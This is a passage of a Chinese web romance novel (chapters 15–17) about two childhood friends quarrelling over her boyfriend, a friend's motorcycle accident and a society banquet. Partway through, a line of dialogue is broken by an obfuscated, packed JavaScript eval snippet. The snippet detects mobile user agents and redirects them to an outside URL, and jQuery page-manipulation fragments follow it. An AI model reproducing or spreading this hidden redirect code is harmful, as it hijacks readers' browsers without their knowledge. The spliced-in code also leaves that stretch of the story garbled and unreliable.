[……说来好笑,我曾经最讨厌这样的应酬局,但这段日子我跑剧组面试的那些角色全都石沉大海,我也成了自己憎恶的样子……本来不想让你看到这样的我,没想到还是阴差阳错被你发现了……] [千绾,你对这样的我很失望吗?] 商恪景就站在虞千绾身边眼睁睁看着这些消息一条条弹出,完全意料之外的答复,他怎么也没想到常桦会说是因为工作与周映灵有牵扯,偏偏演员和娱乐公司接触合情合理,他一时间竟还反驳不出什么。 本以为的碾压局面又在常桦三言两语中回到曾经那个商恪景虽心里不爽,但拿不出证据证明常桦这人不行的形势。 分明这样的情形他已经经历很多年了,但在本以为可以改变的今日,再看到常桦发出的最后那句散发着茶味示弱的话,商恪景突然升起股没来由的委屈和难受。 就像是这些年日复一日攒下来的力量终于等到时机挥出了一拳,结果却一拳挥到了弹簧上,所有的力气一应弹回,他甚至分不清究竟是谁的力打倒在地。 然后、然后…… 整个人都卸了力,就这么躺在地上,再没有起来争斗的心力。 “啪嗒——” 一滴温热的泪冷不丁砸击到胳膊上时,虞千绾是懵的,她下意识抬头看去,只见商恪景的眼尾不知道什么时候红了,眼神满是破碎。 眉心一跳,虞千绾立即倾身去抽纸想要递给商恪景。 商恪景却先一步直接用手剐蹭去了蓄起的泪,没接虞千绾的纸巾,但眼周的湿润难掩,他顶着这么双又控制不住模糊视线的泪眼朦胧看着虞千绾,只问:“所以呢,你信谁?” 空气死寂般的沉默。 再开口,商恪景委屈的声带着哽咽,险些失了声,“我很确定,我看到了,他和周映灵之间不是正常应酬的相处方式,他们的距离很近,周映灵的手还勾在他脖子上。” 最后这话,商恪景本不想说的,他知道虞千绾会难受,所以想以最委婉的方式让她认清常桦,没想到还是不行。 虞千绾眼眶一瞬间也泛起了泪花,湿意蓄着聚集在大大的眼睛里打转却没掉落,“商恪景……” 一出声也是闷涩至极的哭腔。 两人同步都别开了视线,暂做休缓,试图压下些情绪。 她应该是哭了,商恪景看到她转过头的那瞬间抬手往脸上抹了下,估计是在擦眼泪。 见她如此,他酸胀的心也好像下起了雨。 “我肯定是相信你说的话的,不然我不会去问他,但是感情不是非对即错的数学题,喜欢一个人不是从0到100,不喜欢一个人也不可能从100突然到0,你明白吗?我也很难受很无措……” 再转过头来看向商恪景时,虞千绾脸上已有了几道泪痕,泪眼婆娑,皱巴巴忍着哭意撇着嘴唇时而发颤。 商恪景多想说他不明白,因为他意识到他喜欢上她的那一刻,就是从0到100。 但他偏又该死的很懂得爱无法从100到0,起码当下,他想象不到有一天他会不爱她,他对她的所有想法里,只有100到正无穷。无论她怎样,无论好坏,他都爱她。 他自己都做不到的事情又何必苛责她在得知的这一瞬间就做到,何况常桦不是说了吗,那只是工作上的应酬。 是,他看到了常桦和周映灵在一起动作亲昵。 但如果质问常桦,常桦也可以说那是为了工作,没办法,他也不想这样,他心里只有虞千绾。 无力极了。 商恪景自嘲地扯唇无声笑了笑,薄唇微微张合,几近无声地说了句:“行。” 他没再说什么,扭头直奔玄关,开门离开。 关门声很轻很轻,和他来时完全两个极端。 16. 第 16 章 常桦的消息虞千绾没回,他也没再发,聊天框和周遭一样彻底的死寂了下去。 直到23点多,手机屏幕重新亮起,是常桦发来的消息,很简约但却莫名充斥着酸楚的四个字:[我明白了] 虞千绾依旧没回,只是眸中的雾气在加重。 她心里其实有很多话想要问,但一想到对象是常桦,一向勇往直前打直球的她竟第一次生出退缩之意,除此外,还有点大不了就这样吧的无可奈何。 人与人之间相处定然会有摩擦,虞千绾在和常桦相处时也不例外。常桦的性格要内敛些淡些,虞千绾则始终热烈。但在今日之前,虞千绾都不觉得这样的相处有什么问题,因为常桦虽然话少,不太主动,可只要她开口询问,他都会给出答案,并不会逃避话题,她一直把此当做是他们性格的互补。 可今日,看到常桦的消息后,虞千绾突然就迷茫了。 商恪景走后她独自想了很久很久,后知后觉意识到这样的情形早在她和常桦之间发生过多次。 虞千绾只是不太会藏心思,喜恶表现的相对明显,说起话来比较直给,遇到问题的第一反应是面对面沟通解决,而不是没有情商,也不会无脑想到什么就说什么,加之常桦的性格要偏敏感,所以对于某些知道他比较介意的话题,虞千绾基本是不会提的,但若是那个点会让她不舒服,她还是会在反复酝酿后指出。 每一次,虞千绾将纠结好一阵的话说出后,常桦却总能以一种轻轻淡淡的姿态轻松揭过。偏他的那种轻淡又不是不在意的轻淡,而是很符合情理的,所以他不觉得那有什么,表现的很自如。显得虞千绾如果再追问下去很小心眼,很斤斤计较。彼时的虞千绾甚至都没这么想过,她还在认为他们之间这是有效沟通,认为果然将话问出口,说开了就没什么了,否则独自想下去不仅内耗还没有任何实质上的作用。 置身其中的虞千绾还以为是自己想多了,现在的虞千绾却觉得自己心太大,想得太少了。 但能猜到和他说出后他的那套话术,虞千绾生怕自己到时候思绪又被他带着走,还反驳不出什么,索性就克制着不去联系他,不得到他坦诚的话后也不轻易回他的消息。 在他们的关系里,她主动了这么多年,这么多次,她也会累,该到他表态的时候了。 如果他只用这么只言片语就了结了他们的关系再不找她,那她……也无话可说。 因为这件突发的事,虞千绾完全忘记了自己还没吃晚饭,也没心情吃,百般酸楚地将自己闷在被窝里。 常桦和商恪景在她脑子里来回穿过,爱情和友情的难过一齐压来,心口闷到极致,她眼尾不断往外掉着泪,床头柜上放了一堆被团成团的潮湿纸巾。 哭累了,虞千绾就这么无意识蜷缩在被中睡着。 醒来后,她完全不记得自己是什么时候睡着的,只知道眼皮胀疼,很不舒服,但第一反应还是眯开哭到涩疼发干的眼睛拿起手机查看微信有没有消息。 然而没有,一条都没有。 无论是置顶的常桦还是日日聊天的商恪景,没有置顶的商恪景甚至掉到了微信的第二页,虞千绾向下滑了滑才看到他的聊天框。 鼻尖和眼眶又有些发酸,虞千绾轻呼着气,努力调节着呼吸不想再哭,但视线又不争气的模糊了,眼前雾蒙蒙一片,完全没个焦点。 手机突然弹出电量不足20%的提醒,虞千绾的视线这才重又聚焦到屏幕上。就这么盯了半分钟,她突然探手,将置顶取消。 每次一打开微信就能看到的对话框瞬间被一堆免打扰的群聊压下,但还在视线范围内,虞千绾不想看到他没有任何实际动作的聊天框,也怕自己看着看着就憋不住性子找他聊这事,一咬牙一狠心,她直接将常桦的聊天框也删除,直接让他消失在她的微信主页面。明明做得不对的人是他,这次她一定不会先找他。 但因为聊天框的取消,原本置于常桦聊天框下面的那些聊天框全部逐个向上弹了一位,最底端也弹上了一个新的聊天框,好巧不巧——是商恪景的。 莫名,胳膊昨天被商恪景眼泪砸到的那一小点肌肤泛起些说不清道不明的幻感,好像又有一滴滚烫的泪落在其上。 她点入和商恪景的聊天框,又滑出。 再点入,再滑出…… 她知道商恪景是希望她清醒点,想听她直接说她不喜欢常桦了。 她的理智也是这么告诉自己的,但是感性上没法这么快就完全丢弃掉,她的心绪还是忍不住会因为常桦有所起伏。 毕竟从高三到大四,将近四年的时间,点点滴滴的过往,很难一朝之间说放就放,总是要有些缓冲的时间,所以现在的她还没办法感性理智保持一致说出商恪景想听的话,直接去同商恪景聊天的话很难不又扯到这个话题爆发矛盾,但若明知他介意的点在哪,她却避而不谈又显得不在意他昨日的情绪。 虞千绾脑袋都快要爆炸,完全不知道怎样才好。 偏偏这两天他们还没课,连个见面的契机都没有,总不能僵持个两天都不交涉。 虞千绾咬着下唇皱着眉思忖,究竟有什么话题可以自然切入呢…… 情绪过甚,虞千绾依旧没有饥饿感,但身体扛不住,肚子发出了咕噜咕噜的声。 脑子里的某根线骤然连上,虞千绾弹坐起身,掀开被子就下床往玄关去。 果不其然,商恪景昨晚给她带回来的海鲜还放在玄关柜上——他昨日在玄关换鞋的时候顺手就把打包盒放在了上面,后来一直在聊常桦的事没空隙提,再后来闷着心绪离开更是忘了这茬,就这么一直搁置在了柜上。 他们尚是幼时就知道出去玩给对方带礼物,碰巧看到对方喜欢的物什也会买下,出来独居后给对方带吃食的次数更是多到数不胜数。 而今,这么一件稀疏平常的事却惹得虞千绾心头五味杂陈,她静静看着柜子上的打包盒,发了好久的呆才去拆开。 但可惜,在闷热的客厅里放了一夜,海鲜早凉透了,也有了腐坏的难闻气味,不能再吃了。 虞千绾遗憾至极,可又不得不再将盖子盖回,防止气味继续在家里蔓延开。 时间快至中午,阳台半开的窗户从外飘入些饭菜香,应该是楼上楼下的邻居在做饭,两股味道混杂在一起,一会儿好闻一会儿难闻的,虞千绾抬手在鼻前挥了挥试图打散这诡异的味道。 也不知道商恪景有没有吃饭…… ……这个点他应该没吃吧? 毕竟没课的时候他们这个点基本都还在睡着,就算醒了也在床上玩手机懒得起。 “不管了。” 虞千绾快步折返回屋从衣柜里迅速拿了身衣服换上,拿着手机和垃圾出门。 她打算去他们最爱吃的那家川菜馆买些商恪景爱吃的菜回来,不管他吃没吃饭,她的示好他肯定能感觉到。总归以他俩的性格肯定不能冷处理,冷着冷着就容易出大事。更何况他昨天是在为了她考虑,她不能明明看到他的情绪却不予理会,更不能让他们这么多年的友情产生隔阂。 就在虞千绾出门的二十分钟后,商恪景被乍然响起的手机铃声吵醒。 他天都快亮了才睡着,这才睡了没几个小时就被吵醒,艰难摸索过手机一看,还是薄正卿打来的,阴郁烦闷之色更甚。 商恪景接通来电,将手机靠至耳边,眼睛重新闭上,没好气,“干什么,在睡觉。” “兄弟——江湖救急啊。” 薄正卿的话腔听着不太对劲,有股子虚弱劲,说几个字还在那发出隐约的痛嘶声。 商恪景眼睛复又睁开,声音都清醒了几分,“你什么情况?” “我玩机车摔着了,现在正在医院处理伤口,你能不能过来一趟?要是被我爸妈知道我就死定了。” 薄正卿是家中独子,日后家业家财全是他一个人的,所以他的安全至关重要,若是出了点什么问题,家里就彻底绝了后,家业无人传承下去,所以他爸妈打从他一出生就不许他去接触一切危险项目,机车自然也在其中,但薄正卿就是爱玩,总背着家里人偷偷玩,哪成想今天真出了事。 “我也是服了你,你刚回国都不用倒时差吗?昨天的局才结束多久?一大早又去玩车。” “哎……就是因为没睡好,骑车的时候注意力不集中才出的事故,我甚至连和朋友约的飙车地都没到,才骑了三分之一左右……” 薄正卿既觉丢脸又觉懊悔,但事已至此也没法改变,幸而伤得不算太重保住了小命,只能先对着父母那边瞒一日是一日了,否则他怕是得拖着一身伤被爸妈混合双打,伤上加伤。 听到他摔着在医院的时候,商恪景就已经起了身,此刻将手机开了扩音放在一旁,边换衣服边问他:“哪家医院?地址发我,我现在过去。” “我马上从微信发给你,你千万保密啊!谁都别提,我只告诉了你。” 他们这个圈子太小,薄正卿生怕一个不注意就传到了他爸妈耳朵里,便只敢告诉关系最好且嘴严的商恪景。还有一点是怕被一起玩机车的朋友知道丢人,毕竟哪有人还没开始飙车,仅是正常行驶就摔成这样的……那也显得他太菜了吧。 “知道了,现在过去,你还有什么需要的全都一起发给我,我路上买了一起带去。” 薄正卿那边很虚伪的假哭了声,“感动啊兄弟。” 商恪景听到他还心情在这贫,心倒是安了不少,看来他伤得还不算重。 - 虞千绾回来时手上提着满满当当两大袋子的川菜,从电梯行至商恪景家门前的那一截路,她走得格外缓慢,气息提了又提,心脏忐忑地扑通扑通直跳。 脚步定在他家门前,虞千绾深呼吸了下,曲指在门上轻叩了三声。 等了半分钟,门内没传来动静,虞千绾更紧张了,换做平常她就直接开门进去了,但现在闹了些别扭,她心头有了些顾虑便没直接开门。 抬手,她又叩了叩门,依旧没动静。 也算是有了个发消息破冰的机会,虞千绾赶忙放下手里提着的餐袋,转而掏出手机点入微信,先是一个不安又示好的兔兔探头表情包: [商恪景你在家嘛?我买了右柏路的那家川菜,但想着你伤口刚好没多久,突然吃爆辣可能肠胃不适应,所以我买的是微辣,买了超级多,中午一起吃嘛?] 消息发出去,依旧好一会儿没动静。 虞千绾这才输入商恪景家门密码,推开门查看情况,只见商恪景的卧室门大敞着,拖鞋随意摆放在玄关处,大概是出门了,应该还挺急的那种,不然他不会连鞋子都没摆正——有商知珩那样一个高度洁癖的哥哥,商恪景虽然没有太重的洁癖,但自小跟在哥哥后面长大,对干净整洁这方面也有着相较于寻常人更甚的要求。 虽有所猜测,虞千绾还是朝里试探性地喊了声:“商恪景?你在家吗?” 无人应答,虞千绾倏地松了口气,幸好商恪景不是在家却不想理她故意不开门。但转瞬,心又悬了起来,好不容易想到的借口落了空,还没亲眼见到他同他说说话…… 感情啊,真令人惆怅,无论爱情还是友情。 虞千绾垂头丧气退出商恪景家,默默给他关好门,转身回到自己家。 昨晚没吃饭,今天起来后又是一阵奔波,虞千绾在川菜馆里等出菜的时候鼻尖萦绕的全是辣香,早饥肠辘辘,但想着等商恪景看到消息一起来吃,她便忍着没先吃,咕噜咕噜喝了两杯白开水垫垫肚子。 - 医院。 商恪景见到薄正卿的时候委实被吓得一惊,他的状态和电话里听起来完全不同,肩膀、胳膊、胸膛、腿上……基本每个部位都有着不轻的擦伤,还流了不少血,衣服好几处都被染上了颜色深浅不一的红。 幸运的是他头盔佩戴得严实,没把脑袋摔出问题,意识格外清醒。身上的伤口看起来怖人但其实都没伤着骨头,皆是外伤。就是脖子被折到了些,他一个劲嚷着说酸痛,医生给他拍了片子说没什么大问题,休养一阵就好。整体算是不幸中的万幸了。 薄正卿飙车的时候不知道惜命,现在出事了知道怕了,一个劲缠着医生问东问西,最后想着在医院有专人照料好得快些,索性让商恪景帮他订了间vip病房——如果他自己出面订病房,消息怕是很快就传到他爸妈耳朵里,只能让商恪景帮忙。 商恪景见他当下没什么大问题,也就睁只眼闭只眼帮他这把,但怕这人不长记性,泠泠扫了眼,“只此一次,下不为例啊。” “绝对不会有下次了。” 薄正卿现在满脑子都是自己突然摔倒的失控画面,当时如若道上还有别的车辆,后果不堪设想,他后怕得要命。从前他还觉得爸妈的那些唠叨很多余,玩机车的人那么多,又不是每个都会出事,现在真轮到自己出了回事,完全老实了。 事情算是暂时安定下来,商恪景紧绷的思绪也舒缓些,身心的疲惫感也重新袭回。 低头,商恪景曲着右手食指在眉心抵转,“但我劝你早些自觉和叔叔阿姨交代,你这伤得养不少日子才能完全结痂长好,你总不可能一直住在医院不回家,你还跟叔叔阿姨住在一起,很容易被发现,到时候被他们发现你下场更惨,坦白从宽抗拒从严啊。” “我也没指望能完全瞒住他们,先瞒几天让伤看着别这么吓人就成,到时候再找个旁的摔跤理由糊弄过去,反正不能让他们发现我是骑机车受的伤。” 薄正卿暗暗庆幸,“幸好我刚回国,他们这阵也不过多管我,放任我在外面玩,想来这几天不回去他们也不会怀疑什么。” 商恪景也是彻底服了薄正卿,他虽然一向知道薄正卿是个话痨,但现在伤成这样话居然还这么多,巴巴说个不停也不补觉,他听都听困了。 知道如若不阻止,薄正卿还会继续说下去,商恪景倦倦打了个哈欠,非常生硬且直白地截断,“你不是一晚上都没怎么睡吗?快睡吧,我也睡一会儿,睡到一半突然过来,困死。” “我劫后余生,脑子正处在活络的时候,睡不着。” “再啰嗦我给叔叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16264583|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姨打电话了。” “你——” 商恪景彻底躺上另一张床,幽幽扫去一眼,作势就要拿起手机。 薄正卿登时变了副谄媚的嘴脸,一秒闭了嘴。 睡前,商恪景打算将手机调个静音,省得好不容易睡着又被吵醒,结果这么一点开,反倒更睡不着了。 商恪景到医院后一直在陪着薄正卿做各种检查,期间好一段时间他都没看手机,医院人多,加之他当时注意力都放在薄正卿的伤上,也没听到手机的消息音。 当下摁开手机,他才看到微信来消息的提醒。 但在微信的提示框下还有个短视频APP的提示框,短视频logo后跟着一串话——【您特别关注的千万万万更新了一条新视频,快来看看吧~】 刚躺下的商恪景突然坐了起来,在点下去前止不住紧张地舔了舔唇。 ……会是她宣布脱粉不再更新与常桦有关视频的消息吗? “你不是要睡觉吗?怎么又起来了?” 薄正卿完全闲不住嘴,见商恪景起来还挺开心,语调掩不住地上扬,“睡不着的话咱俩再聊会儿?” 奈何商恪景压根没理他,全心全意都放在手机里的那条通知上。 齿关不自觉咬紧,呼吸也屏住,商恪景指尖既轻又缓地点到短视频APP的图标上,页面瞬间跳转入短视频APP,自动播放起虞千绾账号最新的那条视频。 网速稍稍慢了一拍,视频尚在加载中,画面是黑的,但是文案显露了出来。 【捕捉到一枚大帅哥/星星眼.emoji】 后面还有一堆tag。 视频也加载完成开始播放,是虞千绾某次去常桦的线下活动拍下的,但那一阵发了太多同个现场的视频剪辑,怕网友觉得来来回回都是同样的妆造和衣服乏味,也怕限流,她便剪好存着等一阵再发。 视频一开始就是虞千绾经过处理变过声的声音,饶是如此也藏不住她语调里的开心和兴奋。 与设想全然想法,商恪景不想再看下去,钝痛的心脏宛若又被剜了一下,他当即切出了软件。 缓了会儿,商恪景彻底心凉地点入微信。 但不可否认,看到虞千绾消息的那一刻,他还是高兴的。 他们之间从来没闹过什么大别扭,两个都比较直给的人遇到矛盾处理起来很积极,有时候就算双方都觉察到不对劲但没说,事后谁主动给个台阶,另个人顺势就下了,很快就重归于好。 可这一次,情况不太一样,如果常桦的事不解决明白,就算当下处理好,心里的坎其实还没过,积攒着日后怕是会爆发更大的矛盾。 而且……他上一秒还看到了那样的一段视频。 虽然商恪景知道虞千绾一直都有提前剪辑好视频定时让平台自动发出的习惯,但她出了这事还选择不取消定时发送的视频,难不成是因为心里还想给常桦机会? 商恪景忍不住地这么想,想着想着,心里又下起了暴雨,覆盖过看到消息刹那的那一点灿烂日光。 可虞千绾主动发了消息试图破冰,他还是给予了回复: [不了] [你吃吧] [我不在家。] 终于等到回复,虞千绾忙不迭点入微信查看。 等待的这段时光里,她脑子里翻滚过很多很多想法,各个都差得不得了,越想越忐忑,她甚至怕商恪景不回复,悬在头上要掉不掉的利剑才最慑人,好在消息音驱散了这种未知的恐慌。 但看完消息后,也没好到哪里去。 虞千绾心绪又陷入了另一种难受。 按照往常他们的相处模式,商恪景肯定会先说,刚刚在干嘛干嘛,才看到消息,然后也不会这么冷淡的就丢下我不在家四个字,会跟她分享说自己要在外面做什么,大概几点回来,或是确定了回来的时间点后再告诉她什么的,更不会加最后那个句号…… 但现在这种情形下,虞千绾也没法再像之前那般直接问他在干嘛,手指在屏幕上敲敲删删,酝酿半天就发出句:[好,那你回来跟我说,我请你出去吃] 这次,商恪景秒回,但却是更为冷淡的——[嗯。] 虞千绾心口彻底闷住,堵塞得不像话。 他们之间从没这样过。 在沙发上思绪乱飞地躺了会儿,虞千绾才又休整情绪给商恪景发了个乖巧等待的可爱表情包。 商恪景没再回。 虞千绾叹了口气,起身拎着川菜去餐桌上吃饭。 等了一个多小时,饭菜已经不热了,温凉温凉的。 虞千绾连把菜放入微波炉里加热的精力都没了,就这么凑合着吃了一顿,反正她也没什么胃口,随便吃点满足身体需求就行。 吃完,虞千绾又窝回沙发上,开始在网上找餐厅。 这样晚上商恪景回来,她就能请他去新餐厅吃饭赔罪了。 结果一直等到晚上九点,远远过了晚饭点,他也没回来。 好几次,虞千绾点入微信想联系他,想问他什么时候回来。 但一进到两人的对话框,看到那句冷淡至极的[嗯。] 她突然就没了勇气,不知该从何开口,又丧丧地滑出页面陷入犹豫中。 虞千绾从没面对过这样的商恪景,有些束手无策。若是能看到他还好些,面对面交涉起来她可以清晰看到他的神情,更明显地感知到他的情绪,偏偏他一天都不在家,完全不给她当面交涉的机会。 明天虞千绾还要去参加周映灵妹妹的成人礼,不像今天这么有空一直待在家,也不知商恪景到底什么时候回来,能不能处理好和他之间的隔阂,若是不能,情绪又隔了一夜、一夜…… 想想就叫人无力,虞千绾索性把家门敞开,如此方便商恪景一回来她就看到。 门开后,电梯的每一次上升下降带起的响声都会牵动她的情绪,使得她忍不住频频探头查看,但电梯没有一次停在他们的楼层。 虞千绾凌晨也没睡好,时至深夜,她有些熬不住,几度在沙发上无意识闭上眼睡着又猛地因些窸窣动静惊醒。 女孩子独居一直把门大敞着还在里面睡觉危险系数有些高,尤其屋外的声控灯灭下的时候,虞千绾从光明望入一片漆黑,免不得会有些害怕,忍不住想会不会突然冒出一个不是商恪景的人。可她又实在想见商恪景,想当面感知感知他的情绪,于是还是强忍着发毛的那点不安用双手撑起眼皮,强迫自己不要睡去。 但随着困意席卷,这样的动作已然没法让虞千绾清醒,时间也一点点流逝,虞千绾感觉自己今晚等不到商恪景了才起身关了门。 可一躺到床上,虞千绾又怕商恪景回来了就这么错过,而他也不知她的等待还当她没心没肺,不想有这样的乌龙,她便又起了身出了趟门,把下午特意给商恪景买的礼物放到了他家的玄关柜上——本来打算吃晚饭给他的,没想到又没见着。 希望他回来看到礼物能开心点。 礼物盒中,虞千绾还特意留了封信。 17. 第 17 章 商恪景本打算在医院补完觉后陪着薄正卿吃顿饭就回家的,哪知道就在饭前扶着薄正卿让他坐起身方便吃饭时,他突然捂着头闭上眼又倒了回去,五官痛苦地皱在一团,有气无力地说自己眼前忽然一阵天旋地转的。 想着可能是躺久了乍然起身所致,商恪景便让他缓了缓,哪知薄正卿不仅没半点缓解,还越躺越说自己头晕,甚至还开始想吐。 商恪景意识到不对劲,立即按了铃喊来医生查看。 医生检查后说有些轻微脑震荡,也算是摔倒后常见的症状,这几天多卧床休息,头部不要剧烈晃动,以薄正卿的情况最多养个一周就差不多好了。 虽然听到问题不大薄正卿松了口气,但一想到会这么晕晕乎乎一周他就痛苦,不情不愿地哀嚎了声,“啊……一周啊,不能打点滴或者吃药早点好吗?” “不能,一周左右好已经是用药的结果了。” 医生果决地拒了后强调,“我说的一周只是保守估计,具体还是要看病人自身的体质,有些病人两三天就恢复好了,而且后面逐天症状会减轻舒服些,不会像今天这么难受。” “还有这个啊。” 医生隔空指了指薄正卿放在枕头边的手机,“这几天手机电脑平板这类电子产品都少玩,不然你的头会更晕,恢复的也慢。” 这句话杀伤力极大,薄正卿霎时就蔫吧了,发出了更为崩溃但又无力的哀嚎:“啊——” 本来住院休养就够无聊了,结果现在连手机都得少玩,他哪里是这种闲得住的人啊! 商恪景看着薄正卿又惨又好笑的样子,唇角闷不住地上扬,他借着转头和医生讲话掩住了些损友的笑,“行,谢谢医生啊,麻烦您了。” 医生回以微微颔首,“不客气,有什么问题随时喊我。” 商恪景礼貌笑着点了点头。 医生走后,商恪景直接把薄正卿的手机拿了过来,放在他在床上够不到的位置。 “喂,商,嘶——” 薄正卿下意识想护住自己的手机,但手一抬扯着伤口痛,一激动脑子里也仿佛有无数根神经在跳,也痛得不得了,气焰瞬间就散了个彻底。 “都这样了还想玩呢?消停一天吧。” 商恪景没顺着薄正卿的意,他反倒觉得这次让薄正卿出点小事故长长记性挺好的。 许是因为家里人一直在安全这方面管得格外严,薄正卿生出了截然相反的叛逆心思,成年后出国的这几年里不仅将父母不让玩的那些极限项目全都玩个遍,还玩了一堆商恪景听都没听过的极限运动。前者倒没什么,蹦极过山车这种顶多是刺激些,出意外的概率极低极低,但后者不同,商恪景看过薄正卿发来的视频,凡有一点点岔子就是尸骨无存的下场,危险系数委实太大。 所以商恪景觉得薄正卿这次摔伤并不完全是坏事,用一些只需熬熬时间难受一阵的擦伤让他清晰意识到生命的可贵,算是比较小的成本了。 知道商恪景在关心他,薄正卿老实没再索要手机,“那你在这陪我说说话呗,不然我一个人在这待着也太无聊了,肯定会忍不住玩手机的。” vip病房设计和套房差不多,面积挺大,东西也都应有尽有,住起来还凑合,商恪景便联系了司机去他附近的别墅里拿了身换洗的衣服送过来,自己留在了医院陪着薄正卿,薄正卿老说头晕,他也不放心走。另方面,凌晨的难熬在历历在目,商恪景也不想深夜回家再经历一遭,薄正卿的话多在这种时候挺好,能替他扫去脑子里一静下来就浮现出的混乱念头。 身边一直有人说话,脑子静不下来,那些念头便不会过多涌出。 - 翌日。 虞千绾醒来第一件事就是查看手机,倒是有条新消息,可惜是来自虞昭音的。 姐姐叮嘱她别忘了今天要去参加周映霜的成人礼。 消息栏里依旧没有商恪景的消息。 两人的聊天框因为太久没有对话,已然被一堆群聊压了下去。 自从上大学,虞千绾就莫名其妙地加了好些群,学校大群、院系群、专业群、班群、社团群、竞赛群、小组群……平常搁置着完全没用,但又怕时不时用着不好退,索性就免打扰这么放着。 三年过去,虞千绾已然适应每天Q.Q微信一打开就是固定的那一批人在不同的群里聊天日常,但在今天,她觉得这些群聊格外碍眼,惹得她向下翻找和商恪景的聊天框都有些费劲。 索性,虞千绾给商恪景设置了一个微信置顶,这样点入微信就能看到,防止等了半天还不小心错过了他的消息。 但他怎么还没联系她? 是他一夜都没回来看到她留给他的东西吗? 还是他仍在气头上不想理会她?她的信写得还不够诚恳嘛? 对着天花板长叹口气,虞千绾纠结地在床上翻来滚去,最终实在想得到个答案,她便起了身跟做贼般偷偷把家门打开再偷偷打开了商恪景家门查看情况。 幸好…… 礼物盒还安静摆放着没有拆开过的痕迹,拖鞋也一如昨天。 他确实一夜没回来。 但他干嘛去了?怎么这么久不回来? 难不成是不想见她所以回别墅去住了? 一个担心刚落,另个忧虑又起。 虞千绾烦到不行,也没辙到不行,有些崩溃地抓着头发叫了两声。 但很快,争分夺秒想和商恪景回归从前状态的虞千绾休整好自己又出发了。 他们爸妈在他们成年后给他们买了独立出家的别墅当做成人礼,他俩的别墅也买在一处,但别墅和别墅之间有些距离,不似校门口的房子挨得那么近开门就能去到对方家里。 虞千绾现在去往的地方就是他们的别墅所在地,北河墅。 一方面,她想着无论是瞎想还是真的,反正行动起来总比待在家里什么都不做的要好。 另方面,她其实还挺希望商恪景在北河墅的住处,这样她就能见到他跟他好好聊一聊了。 奈何又是扑了个空,商恪景北河墅的家里依旧空荡荡的一片,并没人在,但起码证明他是真的有事,而不是在刻意躲她。 虞千绾本想给商恪景发消息的,但她凌晨才睡,醒得也迟,从校门口赶来北河墅的路程也不短,后续还得化妆穿礼服再乘车去往周映霜的成人礼举办地,没多少空闲时间了,现在就算联系到商恪景也没什么时间交谈,匆忙且浮于表面的对话不是她想要的,她只得先暂时搁置,回到自己在北河墅的住处里收拾好自己,待到彻底弄完了成人礼的事再和商恪景联系。 这两天的情绪乱糟糟,虞千绾都有些笑不出来,但要去参加别人的成人礼,面上总不能一直寡淡着,怎么也得笑着客套祝福几句。 坐在车上临到宴会厅前,虞千绾对着车内镜练习了一会儿自然笑的模样,否则被旁人瞧见又要联想出一堆传闻,认为她是和周映灵不和才挂脸。 说起周映灵,她们也是自小认识的关系,但虞千绾不知道为什么周映灵对她总有些敌意,起初她还想和周映灵聊开搞清楚问题所在,可后来频频感知到周映灵的恶意,她也没那平白受委屈的道理没再挽回,两人的关系就这么彻底坏了下去。 不过高中毕业后,她们一个留在国内读大学,一个出国留学,至今三年多的时间都没再见过了,只是偶尔会从某位朋友的口中得知些许说新不新说旧不旧的消息。 但她俩不和的消息在朋友之间早不是秘密,甚至达到了一种朋友在其中一个人面前都不敢提另个人好消息的程度,如若提也只说些不好的,否则就像是在夸好友的敌人。 现在想想,虞千绾就觉得莫名,还有些荒谬的好笑。周映灵不知什么时候起对她有种无端的厌恶,她至今也没寻到源头。 窗外风景飞速闪过,五星级酒店的高耸建筑逐渐映入眼帘,就快要到达目的地。 虞千绾拿出手机隔窗拍了张照片发给虞昭音,老实向姐姐报备,示意自己准时到达。 虞昭音那边的回复依旧简约粗暴。 一个ok的emoji和一个转账前后而至。 虞千绾情绪一瞬间变得心花怒放,笑容极其灿烂地绽开,再不用对着镜子练习。毫不客气地收下转账后,她回了个亲亲的表情包过去。 车辆缓缓停下,礼宾员从外拉开车门,虞千绾将手机放回包包里,指间微微提着些裙料款款下了车。 进到宴会厅,虞千绾视线梭巡,想找到熟人结伴。 然而就这么猝不及防的,一个感性上意外理性上并不意外、熟到不能再熟的熟人冷不丁闯入她的视野——是常桦。 周家精心大办了小女儿的成人礼,砸了很多钱进去,但并没有大肆邀请宾客。毕竟家里是开娱乐公司的,稍有些风吹草动就容易传到网上,周家人并不想在互联网上过多暴露隐私,便只邀请了关联密切些的家人、朋友以及事业上接触较多的合作伙伴。 反正无论哪一种,常桦都不可能是邀请对象。 唯一的可能就是,他是周映灵特意邀请来的。 不知是不是因为事先从商恪景那得知过常桦和周映灵的暧昧,心里对常桦的印象也急转直下,此刻亲眼看到常桦在这,虞千绾惊了下后最先涌上的竟不是负面情绪,而是终于要认清这个人结束这段不清不楚关系的解脱释然感。 “千绾,你一个人吗?” 肩膀突然被人从侧拍了下,虞千绾下意识转头看去,瞧见一位大半年未见的朋友褚曼青正在莞尔笑着看着她,她当即拉住朋友的手,微偏着脑袋,声调惊喜还带着些撒娇的意味,“对啊,我刚刚还在满场找人想看看有没有人能一起呢,看到你真是太好了。” “那太好了,我也一个人来的,咱们一起吧。” “好呀。” 两人都是被家里人使唤来参加宴会的,长辈们事多,时间宝贵,不像她们悠闲,而且就是个周家小辈的成人礼,也没到能让长辈们特意赶过来赴宴的程度。家里人也不指望她们过来应酬交际,就代替他们过来露个面赠个礼。两人也不想和一群人挤在一块客套,所以默契找了个清净地悠闲地吃吃喝喝聊聊天。 她们这个圈子里的朋友大多都会在高中后选择出国留学,有些人则是初中高中就直接出国了,虞千绾原先被家人规划的路线也是得出国的,但她不想。 一方面她没有在商界大杀四方的伟大志向,也不会狗血的想着去同姐姐争夺家产,她就想当一条只需要努力一点点的小咸鱼,能简单为姐姐打打下手就很棒了。 